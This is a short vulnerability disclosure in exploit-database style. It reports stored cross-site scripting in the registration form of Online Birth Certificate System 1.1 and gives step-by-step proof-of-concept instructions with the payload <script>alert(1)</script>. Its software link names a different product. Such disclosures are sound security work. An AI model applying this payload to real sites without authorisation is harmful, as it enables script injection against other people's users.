Online Birth Certificate System 1.1 Cross Site Scripting

`# Exploit Title: Online Birth Certificate System 1.1 - 'Multiple' Stored Cross-Site Scripting (XSS)   
# Date: 03 July 2021  
# Exploit Author: Subhadip Nag  
# Author Linkedin: www.linkedin.com/in/subhadip-nag-09/  
# Vendor Homepage: https://phpgurukul.com  
# Software Link: https://phpgurukul.com/client-management-system-using-php-mysql/  
# Version: 1.1  
# Tested on: Server: XAMPP  
  
# Description #  
  
Online Birth Certificate System 1.1 is vulnerable to stored cross site scripting (xss) in the registration form because of insufficient user supplied data.  
  
  
# Proof of Concept (PoC) : Exploit #  
  
1) Goto: http://localhost/OBCS/obcs/user/register.php  
2) In the first name field, enter the payload: <script>alert(1)</script>  
3) Click Register  
4) Goto: http://localhost/OBCS/obcs/user/login.php  
5) Enter your mobile number, password & click login  
6) our XSS attack successfull  
  
# PoC image  
1) https://ibb.co/7C6g6nK  
`